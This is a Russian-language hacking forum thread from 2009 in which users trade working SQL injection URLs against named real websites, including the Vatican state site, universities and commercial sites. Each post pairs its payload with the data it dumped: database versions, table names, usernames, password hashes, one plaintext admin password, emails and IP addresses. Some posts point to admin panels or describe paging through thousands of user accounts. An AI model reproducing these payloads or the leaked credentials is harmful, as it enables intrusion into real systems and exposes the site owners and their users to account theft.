03.06.2009, 16:25
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557
Репутация:
606
|
|
Официальный сайт Государства Ватикан.
http://www.vaticanstate.va/tipografia/xml/languages.php?language=-2+union+select+1,2,3,4,concat_ws(0x3a,user(),versi on(),user,host,password,file_priv,load_file(0x633a 2f626f6f742e696e69)),6,7+from+mysql.user--
root@localhost:5.0.27-community-nt:root:localhost:*4CFA1726B987FDAFA3D40065A2A80AC F1A5A1016:Y
http://www.vaticanstate.va Pr: 6 тИЦ: 60
PS. Я не осмелилсся дальше крутить)
|
|
|
03.06.2009, 16:54
|
|
Новичок
Регистрация: 25.05.2009
Сообщений: 5
Провел на форуме:
23792
Репутация:
20
|
|
http://www.tymphany.com/datasheet/printview.php?id=-1+union+select+1,2,3,4,5,6,7,concat_ws(0x20,uid,na me,login,pass,mail,status),9,10,11,12,13,14,15,16, 17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33 ,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,5 0,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66, 67,68,69,70,71,72,73,74,75,76,77+from+users--
подбираем лимит
|
|
|
|
03.06.2009, 17:51
|
|
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
Провел на форуме:
961428
Репутация:
662
|
|
http://www.mosteploseti.ru/index.php?id=1+union+select+1,group_concat(table_n ame),3+from+information_schema.tables+group+by+tab le_name+--+
b_admin
b_session
kb3_api_user
http://www.mabutex.ru/product/index.php?id=-1+union+select+1,2,3,4,5,version()/*+
4.1.22-log
http://www.betterworldarts.com.au/index.php?id=-1+union+select+1,2,3,version(),5,6,7,8,9/*+
4.1.22 - Вывод в title
http://rus-voin.ru/index.php?id=-1'+union+select+1,2,concat_Ws(0x3a3a,usergroup,use rname,password,name,mail,publications,hide_mail,ho mepage,icq,location,lj_username,lj_password),4,5,6 ,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+f rom+cute_users+/*+
1::freeman::25fc850af8b5c5af7632aa769cbe6946:::::: 4::0::::0::::::
|
|
|
|
03.06.2009, 17:55
|
|
Познающий
Регистрация: 07.05.2009
Сообщений: 64
Провел на форуме:
418218
Репутация:
59
|
|
Код:
http://www.cpofla.org/news.php?id=-1+union+select+1,2,3,concat_ws(0x3c6272202f3e,ID_MEMBER,memberName,dateRegistered,posts,ID_GROUP,lngfile,lastLogin,realName,instantMessages,unreadMessages,buddy_list,pm_ignore_list,messageLabels,passwd,emailAddress,personalText,gender,birthdate,websiteTitle,websiteUrl,location,ICQ,AIM,YIM,MSN,hideEmail,showOnline,timeFormat,signature,timeOffset,avatar,pm_email_notify,karmaBad,karmaGood,usertitle,notifyAnnouncements,notifyOnce,notifySendBody,notifyTypes,memberIP,memberIP2,secretQuestion,secretAnswer,ID_THEME,is_activated,validation_code,ID_MSG_LAST_VISIT,additionalGroups,smileySet,ID_POST_GROUP,totalTimeLoggedIn,passwordSalt,authtitle),5,6,7,8,9,10,11,12+from+smf_members--+
Код:
1
admin
1175742604
5
1
english
1186665943
Admin
0
0
8491398feec9c8aa1fc7254e760e866bf317c889
webmaster@cpofla.org
0
0001-01-01
1
0
0
0
0
0
1
1
0
2
70.171.73.50
70.171.73.5
4
1
bb6c2ae59b
6
11
4
19848
018a
Administrator
Код:
http://www.cpofla.org/news.php?id=-1+union+select+1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,11,12+from+smf_members--+
Код:
cdgajywl_smf1@localhost : cdgajywl_smf1 : 5.0.51a-community
|
|
|
|
03.06.2009, 18:21
|
|
Участник форума
Регистрация: 27.08.2008
Сообщений: 209
Провел на форуме:
1759582
Репутация:
394
|
|
http://www.udec.cl {PR 8}
Код:
http://www.udec.cl/asinter/mostrar_datos.php?id=-1+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7/*
Version - 4.1.20
Database - asinter
User - asinter@localhost
----------------------------------------------------------------------------------------------------
http://www.lizlarin.com {PR 3}
Код:
http://www.lizlarin.com/nview.php?ID=-1+union+select+1,2,3,4,concat_ws(0x3a,version(),user(),database()),6,7,8,9--
5.0.77-community-log : lizlarin_lizsql@localhost : lizlarin_db
cpg11d_users:
Код:
http://www.lizlarin.com/nview.php?ID=-1+union+select+1,2,3,4,group_concat(user_name,0x3a,user_password),6,7,8,9+from+lizlarin_photos.cpg11d_users--
admin:LizL2003
хз where admin control panel ((
----------------------------------------------------------------------------------------------------
http://intranet.mcad. edu {PR 3}
Код:
http://intranet.mcad.edu/modules/bookmarks/view_groups.php?id=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8/*
5.0.22-Debian_0ubuntu6.06.10-log : intranet_01 : intranet_01@localhost
Последний раз редактировалось Skofield; 03.06.2009 в 19:36..
|
|
|
|
03.06.2009, 19:34
|
|
Участник форума
Регистрация: 22.05.2008
Сообщений: 158
Провел на форуме:
2875309
Репутация:
348
|
|
www.info-torg.ru
Код:
http://www.info-torg.ru/?page=sub_group&&city=0&&super_id=-5+union+select+1,concat_ws(0x3a,user(),version(),database())--
mysql_user@10.0.0.101:5.0.70:info_torg_ru1
pr:2
тиц:150
в сутки посещался около 10к
Последний раз редактировалось ..::TROYAN::..; 03.06.2009 в 19:37..
|
|
|
|
03.06.2009, 21:34
|
|
Новичок
Регистрация: 25.05.2009
Сообщений: 5
Провел на форуме:
23792
Репутация:
20
|
|
http://playcoed.com/club.php?id=-1+union+select+1,concat_ws(0x20,id,user_name,passw ord,email),3,4,5,6,7,8,9,10,11+from+members--
это вроде админ
но когда ставишь лимит в диапазоне от 1 до 51858 появляется аккаунт, к сайту они всегда подходят, а к своим мылам не так часто!!
|
|
|
|
03.06.2009, 23:28
|
|
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
Провел на форуме:
2805813
Репутация:
1396
|
|
Postgre SQL
http://www2.arcproperties.com/sale/property.phtml?pid=57+union+select+1,version(),cur rent_database(),null,null,null,null,null,null,null ,null,null,null,null,null,null,null,null,null,null ,null,null,null,null,null--
PostgreSQL 8.3.5 on x86_64-unknown-linux-gnu, compiled by GCC gcc (GCC) 4.2.1 (SUSE Linux) |
|
|
|
03.06.2009, 23:34
|
|
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
Провел на форуме:
961428
Репутация:
662
|
|
http://www.valgymosutrikimai.lt/index.php?id=15&lng=-1+union+select+1,user()+/*+
augrika_user@localhost
PR6
http://www.afropop.org/news_flash.php?ID=-593+union+select+1,version(),3,4,5,6,7,8,9,10,11,1 2+/*+
4.1.22-standard
http://ratibor-tlt.ru/news_full.php?id=-1+union+select+table_name+from+information_schema. tables+limit+73,100+--+
dle_users
dle_email
http://www.fk-novgorod.ru/news/news_full.php?id=-1+union+select+1,concat_Ws(0x3a3a,user_type,user_p ermissions,username,user_password),3,4,5,6,7,8,9+f rom+phpbb_users+limit+1,1+--+
3::zik0zjzik0zjzik0xs zik0zi000000 qlctzq000000 zik0zi000000::fk-novgorod::$H$94M6MbO.ED4Ksztlk7usyNTUQoGTe61
http://www.hificentre.com.ua/news_full.php?id=-1'+union+select+1,2,3,concat_ws(0x3a3a,id,user,pas s),5,6,7,8,9,10+from+userlist+--+
1::adminos::97154761
http://www.hificentre.com.ua/admin/
http://www.teremnn.ru/news_full.php?id=-1+union+select+group_concat(table_name)+from+infor mation_schema.tables+--+
/* Талицы */
http://www.khakib.ru/news_full.php?ID=-1+union+select+1,group_concat(table_name)+from+inf ormation_schema.tables+/*+&page=0
http://www.astra-link.ru/news_full.php?id=-1+union+select+1,2,group_concat(table_name),4,5+fr om+information_schema.tables+--+
Последний раз редактировалось DezMond™; 03.06.2009 в 23:50..
|
|
|
|
04.06.2009, 01:33
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161
Репутация:
142
|
|
http://www.autokovrik.com/board.php?pos=10&&view=1&mu_id=16+unioN+select+1/*&ms_type=&mm_id=&mistoid=&spoisk=
Версия 4.х.yy,посимвольный перебор.Префикс так и не вскрыл.
Боян или нет,но всё же:
http://wwww.1gb.ru/show_article.php?upd=126'+order+by+26/*
Третья ветка.
Последний раз редактировалось Велемир; 04.06.2009 в 02:52..
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Комбинированный вид
